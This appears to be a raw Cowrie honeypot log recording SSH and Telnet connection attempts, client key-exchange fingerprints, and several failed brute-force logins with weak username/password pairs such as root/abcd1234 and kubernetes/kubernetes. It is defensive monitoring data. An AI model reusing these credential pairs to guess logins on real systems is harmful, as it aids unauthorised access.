{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:11.275723Z","src_ip":"176.65.132.254","session":"8c41155f8954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:11.361339Z","src_ip":"176.65.132.254","session":"8c41155f8954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46302,"dst_ip":"159.203.135.109","dst_port":23,"session":"5695902f22b5","protocol":"telnet","message":"New connection: 134.209.8.29:46302 (159.203.135.109:23) [session: 5695902f22b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:11.514882Z"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:11.622053Z","src_ip":"176.65.132.254","session":"8c41155f8954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46306,"dst_ip":"159.203.135.109","dst_port":23,"session":"9808b0cff2c9","protocol":"telnet","message":"New connection: 134.209.8.29:46306 (159.203.135.109:23) [session: 9808b0cff2c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:12.534656Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:12.707921Z","src_ip":"176.65.132.254","session":"8c41155f8954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44112,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e7220e91bed","protocol":"telnet","message":"New connection: 38.54.119.93:44112 (10.17.0.5:23) [session: 6e7220e91bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:13.047683Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33020,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4675937a326","protocol":"ssh","message":"New connection: 176.65.132.254:33020 (10.17.0.5:22) [session: e4675937a326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:15.455928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:15.461350Z","src_ip":"176.65.132.254","session":"e4675937a326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:15.550075Z","src_ip":"176.65.132.254","session":"e4675937a326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:15.848597Z","src_ip":"176.65.132.254","session":"e4675937a326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:16.938190Z","src_ip":"176.65.132.254","session":"e4675937a326","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46322,"dst_ip":"159.203.135.109","dst_port":23,"session":"01de53a119ad","protocol":"telnet","message":"New connection: 134.209.8.29:46322 (159.203.135.109:23) [session: 01de53a119ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:17.720516Z"}
{"eventid":"cowrie.session.closed","duration":5.261639356613159,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:18.309191Z","src_ip":"38.54.119.93","session":"6e7220e91bed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":33034,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5ea8f0d6a44","protocol":"ssh","message":"New connection: 176.65.132.254:33034 (10.17.0.5:22) [session: e5ea8f0d6a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:19.748192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:19.754315Z","src_ip":"176.65.132.254","session":"e5ea8f0d6a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:19.847673Z","src_ip":"176.65.132.254","session":"e5ea8f0d6a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":46338,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae477c23fe3d","protocol":"telnet","message":"New connection: 134.209.8.29:46338 (159.203.135.109:23) [session: ae477c23fe3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:19.857885Z"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:20.250177Z","src_ip":"176.65.132.254","session":"e5ea8f0d6a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.790992259979248,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:20.325522Z","src_ip":"134.209.8.29","session":"9808b0cff2c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.882969379425049,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:20.397720Z","src_ip":"134.209.8.29","session":"5695902f22b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:21.452345Z","src_ip":"176.65.132.254","session":"e5ea8f0d6a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58504,"dst_ip":"10.17.0.5","dst_port":22,"session":"614ada12fd69","protocol":"ssh","message":"New connection: 176.65.132.254:58504 (10.17.0.5:22) [session: 614ada12fd69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:24.158376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:24.164128Z","src_ip":"176.65.132.254","session":"614ada12fd69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:24.247838Z","src_ip":"176.65.132.254","session":"614ada12fd69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:24.500853Z","src_ip":"176.65.132.254","session":"614ada12fd69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37884,"dst_ip":"159.203.135.109","dst_port":23,"session":"48b45ac2fee0","protocol":"telnet","message":"New connection: 134.209.8.29:37884 (159.203.135.109:23) [session: 48b45ac2fee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:25.122261Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:25.586549Z","src_ip":"176.65.132.254","session":"614ada12fd69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37900,"dst_ip":"159.203.135.109","dst_port":23,"session":"8305d1b367f2","protocol":"telnet","message":"New connection: 134.209.8.29:37900 (159.203.135.109:23) [session: 8305d1b367f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:26.017671Z"}
{"eventid":"cowrie.session.closed","duration":8.192230701446533,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:28.049997Z","src_ip":"134.209.8.29","session":"ae477c23fe3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":58518,"dst_ip":"10.17.0.5","dst_port":22,"session":"65439cca6666","protocol":"ssh","message":"New connection: 176.65.132.254:58518 (10.17.0.5:22) [session: 65439cca6666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:28.436749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:28.442320Z","src_ip":"176.65.132.254","session":"65439cca6666","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:28.536199Z","src_ip":"176.65.132.254","session":"65439cca6666","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:28.797644Z","src_ip":"176.65.132.254","session":"65439cca6666","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:29.883529Z","src_ip":"176.65.132.254","session":"65439cca6666","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":37890,"dst_ip":"159.203.135.109","dst_port":23,"session":"78fd157ff0c6","protocol":"telnet","message":"New connection: 134.209.8.29:37890 (159.203.135.109:23) [session: 78fd157ff0c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:31.587735Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36100,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b099702bc26","protocol":"ssh","message":"New connection: 176.65.132.254:36100 (10.17.0.5:22) [session: 9b099702bc26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:32.866457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:32.870574Z","src_ip":"176.65.132.254","session":"9b099702bc26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:32.954682Z","src_ip":"176.65.132.254","session":"9b099702bc26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"adminuser","message":"login attempt [adminuser/adminuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:33.240715Z","src_ip":"176.65.132.254","session":"9b099702bc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:34.501825Z","src_ip":"176.65.132.254","session":"9b099702bc26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.5863535404205322,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:35.174005Z","src_ip":"134.209.8.29","session":"78fd157ff0c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":59270,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b530208d968","protocol":"telnet","message":"New connection: 38.54.119.93:59270 (10.17.0.5:23) [session: 6b530208d968]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:35.250337Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":60102,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fd1596bb70d","protocol":"telnet","message":"New connection: 38.54.119.93:60102 (10.17.0.5:23) [session: 0fd1596bb70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:36.542954Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36108,"dst_ip":"10.17.0.5","dst_port":22,"session":"f27ec8e6cd5e","protocol":"ssh","message":"New connection: 176.65.132.254:36108 (10.17.0.5:22) [session: f27ec8e6cd5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:37.264550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:37.269639Z","src_ip":"176.65.132.254","session":"f27ec8e6cd5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:37.353895Z","src_ip":"176.65.132.254","session":"f27ec8e6cd5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:37.670225Z","src_ip":"176.65.132.254","session":"f27ec8e6cd5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:55:38.759814Z","src_ip":"176.65.132.254","session":"f27ec8e6cd5e","protocol":"ssh"}
